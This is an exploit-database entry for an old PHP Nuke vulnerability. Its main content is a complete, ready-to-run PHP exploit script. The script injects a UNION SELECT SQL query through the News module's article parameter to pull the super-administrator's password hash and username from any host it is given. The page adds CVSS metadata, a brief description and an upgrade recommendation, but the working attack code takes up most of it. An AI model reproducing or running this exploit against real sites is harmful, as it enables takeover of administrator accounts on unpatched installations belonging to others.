RST/GHC unpublished PHP Nuke exploit

vendor:

PHP Nuke

by:

Foster

7.5

CVSS

HIGH

PHP Nuke exploit

CWE

Product Name: PHP Nuke

Affected Version From: 6

Affected Version To: 8

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows, Linux, Mac

2005

RST/GHC unpublished PHP Nuke exploit <8

This exploit allows an attacker to gain access to the administrative account of a vulnerable PHP Nuke installation. The exploit works by sending a specially crafted HTTP request to the vulnerable server, which then returns the administrative account's password hash. The attacker can then use this hash to gain access to the administrative account.

Mitigation:

Upgrade to the latest version of PHP Nuke, which is not vulnerable to this exploit.

Source

Exploit-DB raw data:

<?php
error_reporting (E_ERROR);
ini_set("max_execution_time",0);

echo '
+=========================================+
| RST/GHC unpublished PHP Nuke exploit <8 |
+=========================================+
<+> version <8.0
<+> Tested on 7.9 & 6.0
';

if ($argc < 2){
print "Usage: " . $argv[0] . " <host> <version> [table prefix]\n";
print "ex.: " . $argv[0] . " phpnuke.org 7\n";
credits();
exit;
}


/* few definitions */
if (empty($argv[3])){ $prefix = 'nuke';} #define tables prefix
else {$prefix = $argv[3];}

switch ($argv[2]){
case "6":
$query ="modules.php?name=News&file=article&sid=99999999+UNION+SELECT+null%20as%20catid,pwd%20as%20aid,null%20as%20time,pwd%20as%20title,null%20as%20hometext,aid%20as%20bodytext,null%20as%20topic,null%20as%20informant,null%20as%20notes,null%20as%20acomm,%20null%20as%20haspoll,null%20as%20pollID,null%20as%20score,null%20as%20ratings%20FROM%20%60".$prefix."_authors%60%20WHERE%20%60radminsuper%60%20='1'";
$version = 6;
break;
default:
$query ="modules.php?name=News&file=article&sid=99999999'+UNION+SELECT+null%20as%20catid,pwd%20as%20aid,null%20as%20time,pwd%20as%20title,null%20as%20hometext,aid%20as%20bodytext,null%20as%20topic,null%20as%20informant,null%20as%20notes,null%20as%20acomm,%20null%20as%20haspoll,null%20as%20pollID,null%20as%20score,null%20as%20ratings%20FROM%20%60".$prefix."_authors%60%20WHERE%20%60radminsuper%60%20='1";
$version = 7;
break;
}

$host = 'http://' . $argv[1] . '/'; # argv[1] - host
$http = $host . $query;
echo
'[+] host: '.$host . '
[+] nuke version: '.$version.'
';
#DEBUG
//print $http . "\n";

$result = file_get_contents($http);

preg_match("/([a-f0-9]{32})/", $result, $matches);
if ($matches[0]) {print "Admin's Hash: ".$matches[0];
if (preg_match("/(?<=\<br\>\<br\>)(.*)(?=\"\<\/i\>)/", $result, $match)) print "\nAdmin's name: " .$match[0];}
else {echo "Exploit failed...";}

credits();


function credits(){
print "\n\n+========================================+\n\r Coded by Foster \n\r Copyright (c) RST/GHC";
print "\n\r+========================================+\n";
exit;
}

?>

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